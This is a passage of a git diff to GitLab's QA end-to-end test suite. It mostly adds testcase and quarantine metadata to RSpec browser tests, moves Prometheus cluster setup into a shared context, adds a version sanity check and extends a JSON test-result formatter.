small_wiki.visit!
small_number_of_pages.times do |index|
@@ -35,7 +35,7 @@ module QA
end
context 'Page List' do
- it 'has all expected links that work' do
+ it 'has all expected links that work', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/902' do
large_wiki.visit!
Page::Project::Wiki::Show.perform(&:click_view_all_pages)
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_page_deletion_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_page_deletion_spec.rb
index 923c7332748..d2b18d81670 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_page_deletion_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_page_deletion_spec.rb
@@ -10,7 +10,7 @@ module QA
end
context 'Page deletion' do
- it 'has removed the deleted page correctly' do
+ it 'has removed the deleted page correctly', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/921' do
initial_wiki.visit!
Page::Project::Wiki::Show.perform(&:click_edit)
diff --git a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
index fd342503a5c..cc4d0e1f6b5 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
@@ -16,7 +16,7 @@ module QA
open_ci_cd_settings
end
- it 'user adds a CI variable' do
+ it 'user adds a CI variable', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/395' do
Page::Project::Settings::CICD.perform do |settings|
settings.expand_ci_variables do |page|
expect(page).to have_text('VARIABLE_KEY')
@@ -29,7 +29,7 @@ module QA
end
end
- it 'user removes a CI variable' do
+ it 'user removes a CI variable', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/394' do
Page::Project::Settings::CICD.perform do |settings|
settings.expand_ci_variables do |page|
page.click_edit_ci_variable
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
index 68b4a38a043..326647b25f7 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
@@ -24,7 +24,7 @@ module QA
runner.remove_via_api!
end
- it 'users creates a pipeline which gets processed', :smoke do
+ it 'users creates a pipeline which gets processed', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/391' do
Flow::Login.sign_in
Resource::Repository::Commit.fabricate_via_api! do |commit|
diff --git a/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
index 82b15acb664..a296d60b27c 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
@@ -15,7 +15,7 @@ module QA
runner.remove_via_api!
end
- it 'user registers a new specific runner' do
+ it 'user registers a new specific runner', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/392' do
Flow::Login.sign_in
runner.project.visit!
diff --git a/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
index 0436da40982..f4edaaa84a8 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
@@ -33,7 +33,7 @@ module QA
runner.remove_via_api!
end
- it 'creates an MR with code coverage statistics' do
+ it 'creates an MR with code coverage statistics', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/807' do
runner.project.visit!
configure_code_coverage(simplecov)
merge_request.visit!
diff --git a/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
index 0f04b3b6186..a617f3b3e29 100644
--- a/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
@@ -22,7 +22,7 @@ module QA
end
end
- it 'publishes a maven package and deletes it' do
+ it 'publishes a maven package and deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/943' do
uri = URI.parse(Runtime::Scenario.gitlab_address)
gitlab_address_with_port = "#{uri.scheme}://#{uri.host}:#{uri.port}"
pom_xml = {
@@ -95,7 +95,7 @@ module QA
end
Page::Project::Packages::Index.perform do |index|
- expect(index).to have_content("Package was removed")
+ expect(index).to have_content("Package deleted successfully")
expect(index).to have_no_package(package_name)
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
index 471d66c2f21..e97ede35610 100644
--- a/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
@@ -21,7 +21,7 @@ module QA
end
end
- it 'publishes an npm package and then deletes it' do
+ it 'publishes an npm package and then deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/944', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/247281', type: :investigating } do
uri = URI.parse(Runtime::Scenario.gitlab_address)
gitlab_host_with_port = "#{uri.host}:#{uri.port}"
gitlab_address_with_port = "#{uri.scheme}://#{uri.host}:#{uri.port}"
diff --git a/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb b/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb
index d67fd96d338..87bd2b76560 100644
--- a/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Release' do
describe 'Deploy key creation' do
- it 'user adds a deploy key' do
+ it 'user adds a deploy key', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/390' do
Flow::Login.sign_in
key = Runtime::Key::RSA.new
diff --git a/qa/qa/specs/features/browser_ui/6_release/deploy_token/add_deploy_token_spec.rb b/qa/qa/specs/features/browser_ui/6_release/deploy_token/add_deploy_token_spec.rb
index 9bee5c5ee08..de035e3278a 100644
--- a/qa/qa/specs/features/browser_ui/6_release/deploy_token/add_deploy_token_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/deploy_token/add_deploy_token_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Release', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/213222', type: :flaky } do
describe 'Deploy token creation' do
- it 'user adds a deploy token' do
+ it 'user adds a deploy token', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/419' do
Flow::Login.sign_in
deploy_token_name = 'deploy token name'
diff --git a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb
index ba36e4fa290..47a1b3b5670 100644
--- a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb
@@ -25,7 +25,7 @@ module QA
runner.remove_via_api!
end
- it 'parent pipelines passes if child passes' do
+ it 'parent pipelines passes if child passes', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/751' do
add_ci_files(success_child_ci_file)
view_pipelines
@@ -35,7 +35,7 @@ module QA
end
end
- it 'parent pipeline fails if child fails' do
+ it 'parent pipeline fails if child fails', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/752' do
add_ci_files(fail_child_ci_file)
view_pipelines
diff --git a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb
index 69f66ee4edf..9eb81244aa4 100644
--- a/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb
@@ -25,7 +25,7 @@ module QA
runner.remove_via_api!
end
- it 'parent pipelines passes if child passes' do
+ it 'parent pipelines passes if child passes', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/754' do
add_ci_files(success_child_ci_file)
view_pipelines
@@ -35,7 +35,7 @@ module QA
end
end
- it 'parent pipeline passes even if child fails' do
+ it 'parent pipeline passes even if child fails', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/753' do
add_ci_files(fail_child_ci_file)
view_pipelines
diff --git a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/auto_devops_templates_spec.rb b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/auto_devops_templates_spec.rb
new file mode 100644
index 00000000000..fe2d821576b
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/auto_devops_templates_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Configure' do
+ describe 'AutoDevOps Templates', only: { subdomain: :staging } do
+ # specify jobs to be disabled in the pipeline.
+ # CANARY_ENABLED will allow the pipeline to be
+ # blocked by a manual job, rather than fail
+ # during the production run
+ let(:optional_jobs) do
+ %w[
+ LICENSE_MANAGEMENT_DISABLED
+ SAST_DISABLED DAST_DISABLED
+ DEPENDENCY_SCANNING_DISABLED
+ CONTAINER_SCANNING_DISABLED
+ CANARY_ENABLED
+ ]
+ end
+
+ where(:template) do
+ %w[rails spring express]
+ end
+
+ with_them do
+ let!(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = "#{template}-autodevops-project-template"
+ project.template_name = template
+ project.description = "Let's see if the #{template} project works..."
+ project.auto_devops_enabled = true
+ end
+ end
+
+ let(:pipeline) do
+ Resource::Pipeline.fabricate_via_api! do |pipeline|
+ pipeline.project = project
+ pipeline.variables =
+ optional_jobs.map do |job|
+ { key: job, value: '1', variable_type: 'env_var' }
+ end
+ end
+ end
+
+ before do
+ Flow::Login.sign_in
+ end
+
+ it 'works with Auto DevOps', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/240946', type: :flaky } do
+ %w[build code_quality test].each do |job|
+ pipeline.visit!
+
+ Page::Project::Pipeline::Show.perform do |show_page|
+ show_page.click_job(job)
+ end
+
+ Page::Project::Job::Show.perform do |show|
+ expect(show).to have_passed(timeout: 360)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
index 3e25ecfd45d..53a1c8010af 100644
--- a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
+++ b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
@@ -23,7 +23,7 @@ module QA
cluster&.remove!
end
- it 'runs auto devops' do
+ it 'runs auto devops', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/702' do
Flow::Login.sign_in
# Set an application secret CI variable (prefixed with K8S_SECRET_)
@@ -116,7 +116,7 @@ module QA
end
end
- it 'runs an AutoDevOps pipeline' do
+ it 'runs an AutoDevOps pipeline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/444' do
Page::Project::Menu.perform(&:click_ci_cd_pipelines)
Page::Project::Pipeline::Index.perform(&:click_on_latest_pipeline)
diff --git a/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb b/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb
index 5073b715341..09fbbf5adc5 100644
--- a/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb
+++ b/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb
@@ -20,7 +20,7 @@ module QA
cluster.remove!
end
- it 'can create and associate a project cluster', :smoke do
+ it 'can create and associate a project cluster', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/707' do
Resource::KubernetesCluster::ProjectCluster.fabricate_via_browser_ui! do |k8s_cluster|
k8s_cluster.project = project
k8s_cluster.cluster = cluster
diff --git a/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb b/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb
index 54c7b75d1d1..07fc4f0e7fa 100644
--- a/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb
+++ b/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb
@@ -1,177 +1,141 @@
# frozen_string_literal: true
+require_relative 'cluster_with_prometheus.rb'
module QA
- RSpec.describe 'Monitor' do
- describe 'with Prometheus in a Gitlab-managed cluster', :orchestrated, :kubernetes, :requires_admin do
- before :all do
- @cluster = Service::KubernetesCluster.new(provider_class: Service::ClusterProvider::K3s).create!
- @project = Resource::Project.fabricate_via_api! do |project|
- project.name = 'monitoring-project'
- project.auto_devops_enabled = true
- project.template_name = 'express'
- end
-
- deploy_project_with_prometheus
- end
+ RSpec.describe 'Monitor', :orchestrated, :kubernetes, :requires_admin, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/241448', type: :investigating } do
+ include_context "cluster with Prometheus installed"
- before do
- Flow::Login.sign_in_unless_signed_in
- @project.visit!
- end
+ before do
+ Flow::Login.sign_in_unless_signed_in
+ @project.visit!
+ end
- after :all do
- @cluster.remove!
- end
+ it 'configures custom metrics', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/872' do
+ verify_add_custom_metric
+ verify_edit_custom_metric
+ verify_delete_custom_metric
+ end
+
+ it 'duplicates to create dashboard to custom', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/871' do
+ Page::Project::Menu.perform(&:go_to_operations_metrics)
- it 'configures custom metrics' do
- verify_add_custom_metric
- verify_edit_custom_metric
- verify_delete_custom_metric
+ Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ on_dashboard.duplicate_dashboard
+
+ expect(on_dashboard).to have_metrics
+ expect(on_dashboard).to have_edit_dashboard_enabled
end
+ end
- it 'duplicates to create dashboard to custom' do
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ it 'verifies data on filtered deployed environment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/874' do
+ Page::Project::Menu.perform(&:go_to_operations_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
- on_dashboard.duplicate_dashboard
+ Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ on_dashboard.filter_environment
- expect(on_dashboard).to have_metrics
- expect(on_dashboard).to have_edit_dashboard_enabled
- end
+ expect(on_dashboard).to have_metrics
end
+ end
- it 'verifies data on filtered deployed environment' do
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ it 'filters using the quick range', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/873' do
+ Page::Project::Menu.perform(&:go_to_operations_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
- on_dashboard.filter_environment
+ Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ on_dashboard.show_last('30 minutes')
+ expect(on_dashboard).to have_metrics
- expect(on_dashboard).to have_metrics
- end
+ on_dashboard.show_last('3 hours')
+ expect(on_dashboard).to have_metrics
+
+ on_dashboard.show_last('1 day')
+ expect(on_dashboard).to have_metrics
end
+ end
- it 'filters using the quick range' do
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ it 'observes cluster health graph', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/920' do
+ Page::Project::Menu.perform(&:go_to_operations_kubernetes)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
- on_dashboard.show_last('30 minutes')
- expect(on_dashboard).to have_metrics
+ Page::Project::Operations::Kubernetes::Index.perform do |cluster_list|
+ cluster_list.click_on_cluster(@cluster)
+ end
- on_dashboard.show_last('3 hours')
- expect(on_dashboard).to have_metrics
+ Page::Project::Operations::Kubernetes::Show.perform do |cluster_panel|
+ cluster_panel.open_health
+ cluster_panel.wait_for_cluster_health
+ end
+ end
- on_dashboard.show_last('1 day')
- expect(on_dashboard).to have_metrics
- end
+ it 'uses templating variables for metrics dashboards' do
+ templating_dashboard_yml = Pathname
+ .new(__dir__)
+ .join('../../../../fixtures/metrics_dashboards/templating.yml')
+
+ Resource::Repository::ProjectPush.fabricate! do |push|
+ push.project = @project
+ push.file_name = '.gitlab/dashboards/templating.yml'
+ push.file_content = File.read(templating_dashboard_yml)
+ push.commit_message = 'Add templating in dashboard file'
+ push.new_branch = false
end
- it 'observes cluster health graph' do
- Page::Project::Menu.perform(&:go_to_operations_kubernetes)
+ Page::Project::Menu.perform(&:go_to_operations_metrics)
- Page::Project::Operations::Kubernetes::Index.perform do |cluster_list|
- cluster_list.click_on_cluster(@cluster)
- end
+ Page::Project::Operations::Metrics::Show.perform do |dashboard|
+ dashboard.select_dashboard('templating.yml')
- Page::Project::Operations::Kubernetes::Show.perform do |cluster_panel|
- cluster_panel.open_health
- cluster_panel.wait_for_cluster_health
- end
+ expect(dashboard).to have_template_metric('CPU usage GitLab Runner')
+ expect(dashboard).to have_template_metric('Memory usage Postgresql')
+ expect(dashboard).to have_templating_variable('GitLab Runner')
+ expect(dashboard).to have_templating_variable('Postgresql')
end
+ end
- private
-
- def deploy_project_with_prometheus
- %w[
- CODE_QUALITY_DISABLED TEST_DISABLED LICENSE_MANAGEMENT_DISABLED
- SAST_DISABLED DAST_DISABLED DEPENDENCY_SCANNING_DISABLED
- CONTAINER_SCANNING_DISABLED PERFORMANCE_DISABLED SECRET_DETECTION_DISABLED
- ].each do |key|
- Resource::CiVariable.fabricate_via_api! do |resource|
- resource.project = @project
- resource.key = key
- resource.value = '1'
- resource.masked = false
- end
- end
-
- Flow::Login.sign_in
-
- Resource::KubernetesCluster::ProjectCluster.fabricate! do |cluster_settings|
- cluster_settings.project = @project
- cluster_settings.cluster = @cluster
- cluster_settings.install_runner = true
- cluster_settings.install_ingress = true
- cluster_settings.install_prometheus = true
- end
-
- Resource::Pipeline.fabricate_via_api! do |pipeline|
- pipeline.project = @project
- end.visit!
-
- Page::Project::Pipeline::Show.perform do |pipeline|
- pipeline.click_job('build')
- end
- Page::Project::Job::Show.perform do |job|
- expect(job).to be_successful(timeout: 600)
-
- job.click_element(:pipeline_path)
- end
-
- Page::Project::Pipeline::Show.perform do |pipeline|
- pipeline.click_job('production')
- end
- Page::Project::Job::Show.perform do |job|
- expect(job).to be_successful(timeout: 1200)
-
- job.click_element(:pipeline_path)
- end
- end
+ private
- def verify_add_custom_metric
- Page::Project::Menu.perform(&:go_to_integrations_settings)
- Page::Project::Settings::Integrations.perform(&:click_on_prometheus_integration)
+ def verify_add_custom_metric
+ Page::Project::Menu.perform(&:go_to_integrations_settings)
+ Page::Project::Settings::Integrations.perform(&:click_on_prometheus_integration)
- Page::Project::Settings::Services::Prometheus.perform do |metrics_panel|
- metrics_panel.click_on_new_metric
- metrics_panel.add_custom_metric
- end
+ Page::Project::Settings::Services::Prometheus.perform do |metrics_panel|
+ metrics_panel.click_on_new_metric
+ metrics_panel.add_custom_metric
+ end
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ Page::Project::Menu.perform(&:go_to_operations_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
- expect(on_dashboard).to have_custom_metric('HTTP Requests Total')
- end
+ Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ expect(on_dashboard).to have_custom_metric('HTTP Requests Total')
end
+ end
- def verify_edit_custom_metric
- Page::Project::Menu.perform(&:go_to_integrations_settings)
- Page::Project::Settings::Integrations.perform(&:click_on_prometheus_integration)
- Page::Project::Settings::Services::Prometheus.perform do |metrics_panel|
- metrics_panel.click_on_custom_metric('Business / HTTP Requests Total (req/sec)')
- metrics_panel.edit_custom_metric
- end
+ def verify_edit_custom_metric
+ Page::Project::Menu.perform(&:go_to_integrations_settings)
+ Page::Project::Settings::Integrations.perform(&:click_on_prometheus_integration)
+ Page::Project::Settings::Services::Prometheus.perform do |metrics_panel|
+ metrics_panel.click_on_custom_metric('Business / HTTP Requests Total (req/sec)')
+ metrics_panel.edit_custom_metric
+ end
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ Page::Project::Menu.perform(&:go_to_operations_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
- expect(on_dashboard).to have_custom_metric('Throughput')
- end
+ Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ expect(on_dashboard).to have_custom_metric('Throughput')
end
+ end
- def verify_delete_custom_metric
- Page::Project::Menu.perform(&:go_to_integrations_settings)
- Page::Project::Settings::Integrations.perform(&:click_on_prometheus_integration)
+ def verify_delete_custom_metric
+ Page::Project::Menu.perform(&:go_to_integrations_settings)
+ Page::Project::Settings::Integrations.perform(&:click_on_prometheus_integration)
- Page::Project::Settings::Services::Prometheus.perform do |metrics_panel|
- metrics_panel.click_on_custom_metric('Business / Throughput (req/sec)')
- metrics_panel.delete_custom_metric
- end
+ Page::Project::Settings::Services::Prometheus.perform do |metrics_panel|
+ metrics_panel.click_on_custom_metric('Business / Throughput (req/sec)')
+ metrics_panel.delete_custom_metric
+ end
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ Page::Project::Menu.perform(&:go_to_operations_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
- expect(on_dashboard).not_to have_custom_metric('Throughput')
- end
+ Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ expect(on_dashboard).not_to have_custom_metric('Throughput')
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/8_monitor/cluster_with_prometheus.rb b/qa/qa/specs/features/browser_ui/8_monitor/cluster_with_prometheus.rb
new file mode 100644
index 00000000000..ed0064e8b6f
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/8_monitor/cluster_with_prometheus.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.shared_context "cluster with Prometheus installed" do
+ before :all do
+ @cluster = Service::KubernetesCluster.new(provider_class: Service::ClusterProvider::K3s).create!
+ @project = Resource::Project.fabricate_via_api! do |project|
+ project.name = 'monitoring-project'
+ project.auto_devops_enabled = true
+ project.template_name = 'express'
+ end
+
+ deploy_project_with_prometheus
+ end
+
+ def deploy_project_with_prometheus
+ %w[
+ CODE_QUALITY_DISABLED TEST_DISABLED LICENSE_MANAGEMENT_DISABLED
+ SAST_DISABLED DAST_DISABLED DEPENDENCY_SCANNING_DISABLED
+ CONTAINER_SCANNING_DISABLED PERFORMANCE_DISABLED SECRET_DETECTION_DISABLED
+ ].each do |key|
+ Resource::CiVariable.fabricate_via_api! do |resource|
+ resource.project = @project
+ resource.key = key
+ resource.value = '1'
+ resource.masked = false
+ end
+ end
+
+ Flow::Login.sign_in
+
+ Resource::KubernetesCluster::ProjectCluster.fabricate! do |cluster_settings|
+ cluster_settings.project = @project
+ cluster_settings.cluster = @cluster
+ cluster_settings.install_runner = true
+ cluster_settings.install_ingress = true
+ cluster_settings.install_prometheus = true
+ end
+
+ Resource::Pipeline.fabricate_via_api! do |pipeline|
+ pipeline.project = @project
+ end.visit!
+
+ Page::Project::Pipeline::Show.perform do |pipeline|
+ pipeline.click_job('build')
+ end
+ Page::Project::Job::Show.perform do |job|
+ expect(job).to be_successful(timeout: 600)
+
+ job.click_element(:pipeline_path)
+ end
+
+ Page::Project::Pipeline::Show.perform do |pipeline|
+ pipeline.click_job('production')
+ end
+ Page::Project::Job::Show.perform do |job|
+ expect(job).to be_successful(timeout: 1200)
+
+ job.click_element(:pipeline_path)
+ end
+ end
+
+ after :all do
+ @cluster&.remove!
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb b/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb
index 73bb6aeb5fd..8dca0d6698e 100644
--- a/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb
+++ b/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb
@@ -20,7 +20,7 @@ module QA
end
end
- it 'shows results for the original request and AJAX requests' do
+ it 'shows results for the original request and AJAX requests', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/478', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/247467', type: :investigating } do
# Issue pages always make AJAX requests
Resource::Issue.fabricate_via_browser_ui! do |issue|
issue.title = 'Performance bar test'
diff --git a/qa/qa/specs/features/sanity/version_spec.rb b/qa/qa/specs/features/sanity/version_spec.rb
new file mode 100644
index 00000000000..cace46c3590
--- /dev/null
+++ b/qa/qa/specs/features/sanity/version_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'airborne'
+
+module QA
+ # This test ensures that the version described by the `DEPLOY_VERSION`
+ # environment variable is the version actually running.
+ #
+ # See https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/1179
+ RSpec.describe 'Version sanity check', :smoke do
+ let(:api_client) { Runtime::API::Client.new(:gitlab) }
+ let(:request) { Runtime::API::Request.new(api_client, '/version') }
+
+ it 'is the specified version' do
+ # The `DEPLOY_VERSION` variable will only be provided for deploys to the
+ # `pre` and `release` environments, which only receive packaged releases.
+ #
+ # For these releases, `deploy_version` will be a package string (e.g.,
+ # `13.1.3-ee.0`), and the reported version will be something like
+ # `13.1.3-ee`, so we only compare the leading SemVer string.
+ #
+ # | Package | Version |
+ # | ---------------- | -------------- |
+ # | 13.3.5-ee.0 | 13.3.5-ee |
+ # | 13.3.0-rc42.ee.0 | 13.3.0-rc42-ee |
+ deploy = Runtime::Env.deploy_version&.gsub(/\A(\d+\.\d+\.\d+).*\z/, '\1')
+
+ skip('No deploy version provided') if deploy.nil? || deploy.empty?
+
+ get request.url
+
+ expect_status(200)
+ expect(json_body).to have_key(:version)
+ expect(json_body[:version]).to start_with(deploy)
+ end
+ end
+end
diff --git a/qa/qa/support/json_formatter.rb b/qa/qa/support/json_formatter.rb
index 5d2a3e7b75f..f6e40436ec8 100644
--- a/qa/qa/support/json_formatter.rb
+++ b/qa/qa/support/json_formatter.rb
@@ -12,19 +12,21 @@ module QA
# implementation so that it's not included.
end
- def stop(notification)
+ def stop(example_notification)
# Based on https://github.com/rspec/rspec-core/blob/main/lib/rspec/core/formatters/json_formatter.rb#L35
- # But modified to include full details of multiple exceptions
- @output_hash[:examples] = notification.examples.map do |example|
- format_example(example).tap do |hash|
- e = example.exception
+ # But modified to include full details of multiple exceptions and to provide output similar to
+ # https://github.com/sj26/rspec_junit_formatter
+ @output_hash[:examples] = example_notification.notifications.map do |notification|
+ format_example(notification.example).tap do |hash|
+ e = notification.example.exception
if e
exceptions = e.respond_to?(:all_exceptions) ? e.all_exceptions : [e]
hash[:exceptions] = exceptions.map do |exception|
{
class: exception.class.name,
message: exception.message,
- backtrace: exception.backtrace
+ message_lines: strip_ansi_codes(notification.message_lines),
+ backtrace: notification.formatted_backtrace
}
end
end
@@ -35,20 +37,37 @@ module QA
private
def format_example(example)
+ file_path, line_number = location_including_shared_examples(example.metadata)
+
{
id: example.id,
description: example.description,
full_description: example.full_description,
status: example.execution_result.status.to_s,
- file_path: example.metadata[:file_path],
- line_number: example.metadata[:line_number],
+ file_path: file_path,
+ line_number: line_number.to_i,
run_time: example.execution_result.run_time,
pending_message: example.execution_result.pending_message,
- status_issue: example.metadata[:status_issue],
+ testcase: example.metadata[:testcase],
quarantine: example.metadata[:quarantine],
screenshot: example.metadata[:screenshot]
}
end
+
+ def location_including_shared_examples(metadata)
+ if metadata[:shared_group_inclusion_backtrace].empty?
+ [metadata[:file_path], metadata[:line_number]]
+ else
+ # If there are nested shared examples, the outermost location is last in the array
+ metadata[:shared_group_inclusion_backtrace].last.formatted_inclusion_location.split(':')
+ end
+ end
+
+ def strip_ansi_codes(strings)
+ # The code below is from https://github.com/piotrmurach/pastel/blob/master/lib/pastel/color.rb
+ modified = Array(strings).map { |string| string.dup.gsub(/\x1b\[{1,2}[0-9;:?]*m/m, '') }
+ modified.size == 1 ? modified[0] : modified
+ end
end
end
end
diff --git a/qa/spec/page/validator_spec.rb b/qa/spec/page/validator_spec.rb
index bdff96e267c..c727cfb686e 100644
--- a/qa/spec/page/validator_spec.rb
+++ b/qa/spec/page/validator_spec.rb
@@ -32,7 +32,7 @@ describe QA::Page::Validator do
let(:view) { spy('view') }
before do
- allow(QA::Page::Admin::Settings::Repository)
+ allow(QA::Page::Admin::Settings::Network)
.to receive(:views).and_return([view])
end
diff --git a/qa/spec/runtime/application_settings_spec.rb b/qa/spec/runtime/application_settings_spec.rb
index fce0361aee0..e48214b22e6 100644
--- a/qa/spec/runtime/application_settings_spec.rb
+++ b/qa/spec/runtime/application_settings_spec.rb
@@ -16,12 +16,14 @@ describe QA::Runtime::ApplicationSettings do
.with(api_client, '/application/settings')
.and_return(request)
+ expect(described_class).to receive(:get_application_settings)
+
expect(described_class)
.to receive(:put)
